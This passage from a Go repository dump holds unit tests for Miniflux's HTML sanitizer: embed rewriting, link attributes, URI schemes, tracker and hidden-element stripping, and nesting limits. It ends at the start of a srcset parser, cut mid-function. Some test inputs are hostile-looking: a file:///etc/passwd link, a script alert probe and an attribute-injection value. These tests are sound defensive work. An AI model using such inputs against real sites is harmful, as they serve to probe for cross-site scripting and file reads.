sandbox=\"allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox\" loading=\"lazy\" referrerpolicy=\"strict-origin-when-cross-origin\"></iframe>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.com/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestIFrameWithReferrerPolicy(t *testing.T) {\n\tconfig.Opts = config.NewConfigOptions()\n\n\tinput := `<iframe src=\"https://www.youtube.com/embed/test123\" referrerpolicy=\"strict-origin-when-cross-origin\"></iframe>`\n\texpected := `<iframe src=\"https://www.youtube-nocookie.com/embed/test123\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox\" loading=\"lazy\" referrerpolicy=\"strict-origin-when-cross-origin\"></iframe>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.com/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: %q != %q`, expected, output)\n\t}\n}\n\nfunc TestLinkWithTarget(t *testing.T) {\n\tinput := `<p>This link is <a href=\"http://example.org/index.html\">an anchor</a></p>`\n\texpected := `<p>This link is <a href=\"http://example.org/index.html\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">an anchor</a></p>`\n\toutput := SanitizeHTML(\"http://example.org/\", input, &SanitizerOptions{OpenLinksInNewTab: true})\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestLinkWithNoTarget(t *testing.T) {\n\tinput := `<p>This link is <a href=\"http://example.org/index.html\">an anchor</a></p>`\n\texpected := `<p>This link is <a href=\"http://example.org/index.html\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\">an anchor</a></p>`\n\toutput := SanitizeHTML(\"http://example.org/\", input, &SanitizerOptions{OpenLinksInNewTab: false})\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestAnchorLink(t *testing.T) {\n\tinput := `<p>This link is <a href=\"#some-anchor\">an anchor</a></p>`\n\texpected := `<p>This link is <a href=\"#some-anchor\">an anchor</a></p>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestInvalidURLScheme(t *testing.T) {\n\tinput := `<p>This link is <a src=\"file:///etc/passwd\">not valid</a></p>`\n\texpected := `<p>This link is not valid</p>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestURISchemes(t *testing.T) {\n\tbaseURL := \"http://example.org/\"\n\ttestCases := []struct {\n\t\tname     string\n\t\tinput    string\n\t\texpected string\n\t}{\n\t\t{\n\t\t\tname:     \"apt\",\n\t\t\tinput:    `<p>This link is <a href=\"apt:some-package?channel=test\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"apt:some-package?channel=test\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"bitcoin\",\n\t\t\tinput:    `<p>This link is <a href=\"bitcoin:175tWpb8K1S7NmH4Zx6rewF9WQrcZv245W\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"bitcoin:175tWpb8K1S7NmH4Zx6rewF9WQrcZv245W\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"callto\",\n\t\t\tinput:    `<p>This link is <a href=\"callto:12345679\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"callto:12345679\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"feed-double-slash\",\n\t\t\tinput:    `<p>This link is <a href=\"feed://example.com/rss.xml\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"feed://example.com/rss.xml\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"feed-https\",\n\t\t\tinput:    `<p>This link is <a href=\"feed:https://example.com/rss.xml\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"feed:https://example.com/rss.xml\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"geo\",\n\t\t\tinput:    `<p>This link is <a href=\"geo:13.4125,103.8667\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"geo:13.4125,103.8667\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"itms\",\n\t\t\tinput:    `<p>This link is <a href=\"itms://itunes.com/apps/my-app-name\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"itms://itunes.com/apps/my-app-name\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"itms-apps\",\n\t\t\tinput:    `<p>This link is <a href=\"itms-apps://itunes.com/apps/my-app-name\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"itms-apps://itunes.com/apps/my-app-name\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"magnet\",\n\t\t\tinput:    `<p>This link is <a href=\"magnet:?xt.1=urn:sha1:YNCKHTQCWBTRNJIV4WNAE52SJUQCZO5C&amp;xt.2=urn:sha1:TXGCZQTH26NL6OUQAJJPFALHG2LTGBC7\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"magnet:?xt.1=urn:sha1:YNCKHTQCWBTRNJIV4WNAE52SJUQCZO5C&amp;xt.2=urn:sha1:TXGCZQTH26NL6OUQAJJPFALHG2LTGBC7\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"mailto\",\n\t\t\tinput:    `<p>This link is <a href=\"mailto:jsmith@example.com?subject=A%20Test&amp;body=My%20idea%20is%3A%20%0A\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"mailto:jsmith@example.com?subject=A%20Test&amp;body=My%20idea%20is%3A%20%0A\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"news-double-slash\",\n\t\t\tinput:    `<p>This link is <a href=\"news://news.server.example/*\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"news://news.server.example/*\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"news-single-colon\",\n\t\t\tinput:    `<p>This link is <a href=\"news:example.group.this\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"news:example.group.this\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"nntp\",\n\t\t\tinput:    `<p>This link is <a href=\"nntp://news.server.example/example.group.this\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"nntp://news.server.example/example.group.this\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"rtmp\",\n\t\t\tinput:    `<p>This link is <a href=\"rtmp://mycompany.com/vod/mp4:mycoolvideo.mov\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"rtmp://mycompany.com/vod/mp4:mycoolvideo.mov\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"sip\",\n\t\t\tinput:    `<p>This link is <a href=\"sip:+1-212-555-1212:1234@gateway.com;user=phone\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"sip:+1-212-555-1212:1234@gateway.com;user=phone\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"sips\",\n\t\t\tinput:    `<p>This link is <a href=\"sips:alice@atlanta.com?subject=project%20x&amp;priority=urgent\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"sips:alice@atlanta.com?subject=project%20x&amp;priority=urgent\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"skype\",\n\t\t\tinput:    `<p>This link is <a href=\"skype:echo123?call\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"skype:echo123?call\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"spotify\",\n\t\t\tinput:    `<p>This link is <a href=\"spotify:track:2jCnn1QPQ3E8ExtLe6INsx\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"spotify:track:2jCnn1QPQ3E8ExtLe6INsx\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"steam\",\n\t\t\tinput:    `<p>This link is <a href=\"steam://settings/account\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"steam://settings/account\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"svn\",\n\t\t\tinput:    `<p>This link is <a href=\"svn://example.org\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"svn://example.org\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"svn-ssh\",\n\t\t\tinput:    `<p>This link is <a href=\"svn+ssh://example.org\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"svn+ssh://example.org\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"tel\",\n\t\t\tinput:    `<p>This link is <a href=\"tel:+1-201-555-0123\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"tel:+1-201-555-0123\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"webcal\",\n\t\t\tinput:    `<p>This link is <a href=\"webcal://example.com/calendar.ics\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"webcal://example.com/calendar.ics\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t\t{\n\t\t\tname:     \"xmpp\",\n\t\t\tinput:    `<p>This link is <a href=\"xmpp:user@host?subscribe&amp;type=subscribed\">valid</a></p>`,\n\t\t\texpected: `<p>This link is <a href=\"xmpp:user@host?subscribe&amp;type=subscribed\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">valid</a></p>`,\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\toutput := sanitizeHTMLWithDefaultOptions(baseURL, tc.input)\n\t\t\tif tc.expected != output {\n\t\t\t\tt.Errorf(`Wrong output for input %q: expected %q, got %q`, tc.input, tc.expected, output)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestBlacklistedLink(t *testing.T) {\n\tinput := `<p>This image is not valid <img src=\"https://stats.wordpress.com/some-tracker\"></p>`\n\texpected := `<p>This image is not valid </p>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestLinkWithTrackers(t *testing.T) {\n\tinput := `<p>This link has trackers <a href=\"https://example.com/page?utm_source=newsletter\">Test</a></p>`\n\texpected := `<p>This link has trackers <a href=\"https://example.com/page\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">Test</a></p>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestImageSrcWithTrackers(t *testing.T) {\n\tinput := `<p>This image has trackers <img src=\"https://example.org/?id=123&utm_source=newsletter&utm_medium=email&fbclid=abc123\"></p>`\n\texpected := `<p>This image has trackers <img src=\"https://example.org/?id=123\" loading=\"lazy\"></p>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc Test1x1PixelTracker(t *testing.T) {\n\tinput := `<p><img src=\"https://tracker1.example.org/\" height=\"1\" width=\"1\"> and <img src=\"https://tracker2.example.org/\" height=\"1\" width=\"1\"/></p>`\n\texpected := `<p> and </p>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc Test0x0PixelTracker(t *testing.T) {\n\tinput := `<p><img src=\"https://tracker1.example.org/\" height=\"0\" width=\"0\"> and <img src=\"https://tracker2.example.org/\" height=\"0\" width=\"0\"/></p>`\n\texpected := `<p> and </p>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestXmlEntities(t *testing.T) {\n\tinput := `<pre>echo \"test\" &gt; /etc/hosts</pre>`\n\texpected := `<pre>echo &#34;test&#34; &gt; /etc/hosts</pre>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestEspaceAttributes(t *testing.T) {\n\tinput := `<td rowspan=\"<b>injection</b>\">text</td>`\n\texpected := `text`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestReplaceYoutubeURL(t *testing.T) {\n\tos.Clearenv()\n\n\tvar err error\n\tconfig.Opts, err = config.NewConfigParser().ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\tinput := `<iframe src=\"http://www.youtube.com/embed/test123?version=3&#038;rel=1&#038;fs=1&#038;autohide=2&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent\"></iframe>`\n\texpected := `<iframe src=\"https://www.youtube-nocookie.com/embed/test123?version=3&amp;rel=1&amp;fs=1&amp;autohide=2&amp;showsearch=0&amp;showinfo=1&amp;iv_load_policy=1&amp;wmode=transparent\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox\" loading=\"lazy\" referrerpolicy=\"strict-origin-when-cross-origin\"></iframe>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestReplaceSecureYoutubeURL(t *testing.T) {\n\tos.Clearenv()\n\n\tvar err error\n\tconfig.Opts, err = config.NewConfigParser().ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\tinput := `<iframe src=\"https://www.youtube.com/embed/test123\"></iframe>`\n\texpected := `<iframe src=\"https://www.youtube-nocookie.com/embed/test123\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox\" loading=\"lazy\" referrerpolicy=\"strict-origin-when-cross-origin\"></iframe>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestReplaceSecureYoutubeURLWithParameters(t *testing.T) {\n\tos.Clearenv()\n\n\tvar err error\n\tconfig.Opts, err = config.NewConfigParser().ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\tinput := `<iframe src=\"https://www.youtube.com/embed/test123?rel=0&amp;controls=0\"></iframe>`\n\texpected := `<iframe src=\"https://www.youtube-nocookie.com/embed/test123?rel=0&amp;controls=0\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox\" loading=\"lazy\" referrerpolicy=\"strict-origin-when-cross-origin\"></iframe>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestReplaceYoutubeURLAlreadyReplaced(t *testing.T) {\n\tos.Clearenv()\n\n\tvar err error\n\tconfig.Opts, err = config.NewConfigParser().ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\tinput := `<iframe src=\"https://www.youtube-nocookie.com/embed/test123?rel=0&amp;controls=0\" sandbox=\"allow-scripts allow-same-origin\"></iframe>`\n\texpected := `<iframe src=\"https://www.youtube-nocookie.com/embed/test123?rel=0&amp;controls=0\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox\" loading=\"lazy\" referrerpolicy=\"strict-origin-when-cross-origin\"></iframe>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestReplaceProtocolRelativeYoutubeURL(t *testing.T) {\n\tos.Clearenv()\n\n\tvar err error\n\tconfig.Opts, err = config.NewConfigParser().ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\tinput := `<iframe src=\"//www.youtube.com/embed/Bf2W84jrGqs\" width=\"560\" height=\"314\" allowfullscreen=\"allowfullscreen\"></iframe>`\n\texpected := `<iframe src=\"https://www.youtube-nocookie.com/embed/Bf2W84jrGqs\" width=\"560\" height=\"314\" allowfullscreen=\"allowfullscreen\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox\" loading=\"lazy\" referrerpolicy=\"strict-origin-when-cross-origin\"></iframe>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestReplaceYoutubeURLWithCustomURL(t *testing.T) {\n\tdefer os.Clearenv()\n\tos.Setenv(\"YOUTUBE_EMBED_URL_OVERRIDE\", \"https://invidious.custom/embed/\")\n\n\tvar err error\n\tconfig.Opts, err = config.NewConfigParser().ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\tinput := `<iframe src=\"https://www.youtube.com/embed/test123?version=3&#038;rel=1&#038;fs=1&#038;autohide=2&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent\"></iframe>`\n\texpected := `<iframe src=\"https://invidious.custom/embed/test123?version=3&amp;rel=1&amp;fs=1&amp;autohide=2&amp;showsearch=0&amp;showinfo=1&amp;iv_load_policy=1&amp;wmode=transparent\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox\" loading=\"lazy\" referrerpolicy=\"strict-origin-when-cross-origin\"></iframe>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestVimeoIframeRewriteWithQueryString(t *testing.T) {\n\tinput := `<iframe src=\"https://player.vimeo.com/video/123456?title=0&amp;byline=0\"></iframe>`\n\texpected := `<iframe src=\"https://player.vimeo.com/video/123456?title=0&amp;byline=0&amp;dnt=1\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox\" loading=\"lazy\"></iframe>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: %q != %q`, expected, output)\n\t}\n}\n\nfunc TestVimeoIframeRewriteWithoutQueryString(t *testing.T) {\n\tinput := `<iframe src=\"https://player.vimeo.com/video/123456\"></iframe>`\n\texpected := `<iframe src=\"https://player.vimeo.com/video/123456?dnt=1\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox\" loading=\"lazy\"></iframe>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: %q != %q`, expected, output)\n\t}\n}\n\nfunc TestReplaceNoScript(t *testing.T) {\n\tinput := `<p>Before paragraph.</p><noscript>Inside <code>noscript</code> tag with an image: <img src=\"http://example.org/\" alt=\"Test\" loading=\"lazy\"></noscript><p>After paragraph.</p>`\n\texpected := `<p>Before paragraph.</p><p>After paragraph.</p>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestReplaceScript(t *testing.T) {\n\tinput := `<p>Before paragraph.</p><script type=\"text/javascript\">alert(\"1\");</script><p>After paragraph.</p>`\n\texpected := `<p>Before paragraph.</p><p>After paragraph.</p>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestReplaceStyle(t *testing.T) {\n\tinput := `<p>Before paragraph.</p><style>body { background-color: #ff0000; }</style><p>After paragraph.</p>`\n\texpected := `<p>Before paragraph.</p><p>After paragraph.</p>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestHiddenParagraph(t *testing.T) {\n\tinput := `<p>Before paragraph.</p><p hidden>This should <em>not</em> appear in the <strong>output</strong></p><p>After paragraph.</p>`\n\texpected := `<p>Before paragraph.</p><p>After paragraph.</p>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestAttributesAreStripped(t *testing.T) {\n\tinput := `<p style=\"color: red;\">Some text.<hr style=\"color: blue\"/>Test.</p>`\n\texpected := `<p>Some text.</p><hr>Test.<p></p>`\n\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestMathML(t *testing.T) {\n\tinput := `<math xmlns=\"http://www.w3.org/1998/Math/MathML\"><msup><mi>x</mi><mn>2</mn></msup></math>`\n\texpected := `<math xmlns=\"http://www.w3.org/1998/Math/MathML\"><msup><mi>x</mi><mn>2</mn></msup></math>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestInvalidMathMLXMLNamespace(t *testing.T) {\n\tinput := `<math xmlns=\"http://example.org\"><msup><mi>x</mi><mn>2</mn></msup></math>`\n\texpected := `<math xmlns=\"http://www.w3.org/1998/Math/MathML\"><msup><mi>x</mi><mn>2</mn></msup></math>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestBlockedResourcesSubstrings(t *testing.T) {\n\tinput := `<p>Before paragraph.</p><img src=\"http://stats.wordpress.com/something.php\" alt=\"Blocked Resource\"><p>After paragraph.</p>`\n\texpected := `<p>Before paragraph.</p><p>After paragraph.</p>`\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n\n\tinput = `<p>Before paragraph.</p><img src=\"http://twitter.com/share?text=This+is+google+a+search+engine&url=https%3A%2F%2Fwww.google.com\" alt=\"Blocked Resource\"><p>After paragraph.</p>`\n\texpected = `<p>Before paragraph.</p><p>After paragraph.</p>`\n\toutput = sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n\n\tinput = `<p>Before paragraph.</p><img src=\"http://www.facebook.com/sharer.php?u=https%3A%2F%2Fwww.google.com%[title]=This+Is%2C+Google+a+search+engine\" alt=\"Blocked Resource\"><p>After paragraph.</p>`\n\texpected = `<p>Before paragraph.</p><p>After paragraph.</p>`\n\toutput = sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, expected, output)\n\t}\n}\n\nfunc TestAttrLowerCase(t *testing.T) {\n\tbaseURL := \"http://example.org/\"\n\ttestCases := []struct {\n\t\tname     string\n\t\tinput    string\n\t\texpected string\n\t}{\n\t\t{\n\t\t\tname:     \"href-and-hidden-mixed-case\",\n\t\t\tinput:    `<a HrEF=\"http://example.com\" HIddEN>test</a>`,\n\t\t\texpected: ``,\n\t\t},\n\t\t{\n\t\t\tname:     \"href-mixed-case\",\n\t\t\tinput:    `<a HrEF=\"http://example.com\">test</a>`,\n\t\t\texpected: `<a href=\"http://example.com\" rel=\"noopener noreferrer\" referrerpolicy=\"no-referrer\" target=\"_blank\">test</a>`,\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\toutput := sanitizeHTMLWithDefaultOptions(baseURL, tc.input)\n\t\t\tif tc.expected != output {\n\t\t\t\tt.Errorf(`Wrong output for input %q: expected %q, got %q`, tc.input, tc.expected, output)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestDeeplyNestedpage(t *testing.T) {\n\tinput := \"test\"\n\t// -3 instead of -1 because <html><body> is automatically added.\n\tfor range maxDepth - 3 {\n\t\tinput = \"<div>\" + input + \"</div>\"\n\t}\n\toutput := sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\twant := \"test\"\n\n\tif output != want {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, want, output)\n\t}\n\n\tinput = \"test\"\n\tfor range maxDepth - 2 {\n\t\tinput = \"<div>\" + input + \"</div>\"\n\t}\n\toutput = sanitizeHTMLWithDefaultOptions(\"http://example.org/\", input)\n\n\tif output != \"\" {\n\t\tt.Errorf(`Wrong output: \"%s\" != \"%s\"`, \"\", output)\n\t}\n}\n"
  },
  {
    "path": "internal/reader/sanitizer/srcset.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage sanitizer\n\nimport (\n\t\"math\"\n\t\"strconv\"\n\t\"strings\"\n)\n\ntype imageCandidate struct {\n\tImageURL   string\n\tDescriptor string\n}\n\ntype imageCandidates []*imageCandidate\n\nfunc (c imageCandidates) String() string {\n\thtmlCandidates := make([]string, 0, len(c))\n\n\tfor _, imageCandidate := range c {\n\t\tvar htmlCandidate string\n\t\tif imageCandidate.Descriptor != \"\" {\n\t\t\thtmlCandidate = imageCandidate.ImageURL + \" \" + imageCandidate.Descriptor\n\t\t} else {\n\t\t\thtmlCandidate = imageCandidate.ImageURL\n\t\t}\n\n\t\thtmlCandidates = append(htmlCandidates, htmlCandidate)\n\t}\n\n\treturn strings.Join(htmlCandidates, \", \")\n}\n\n// ParseSrcSetAttribute returns the list of image candidates from the set.\n// Parsing behavior follows the WebKit HTMLSrcsetParser implementation.\n// https://html.spec.whatwg.org/#parse-a-srcset-attribute\nfunc ParseSrcSetAttribute(attributeValue string) (candidates imageCandidates) {\n\tif attributeValue == \"\" {\n\t\treturn nil\n\t}\n\n\tvar position uint = 0\n\tfor position < uint(len(attributeValue)) {\n\t\tposition = skipWhileHTMLSpaceOrComma(attributeValue, position)\n\t\tif position >= uint(len(attributeValue)) {\n\t\t\tbreak\n\t\t}\n\n\t\turlStart := position\n\t\tposition 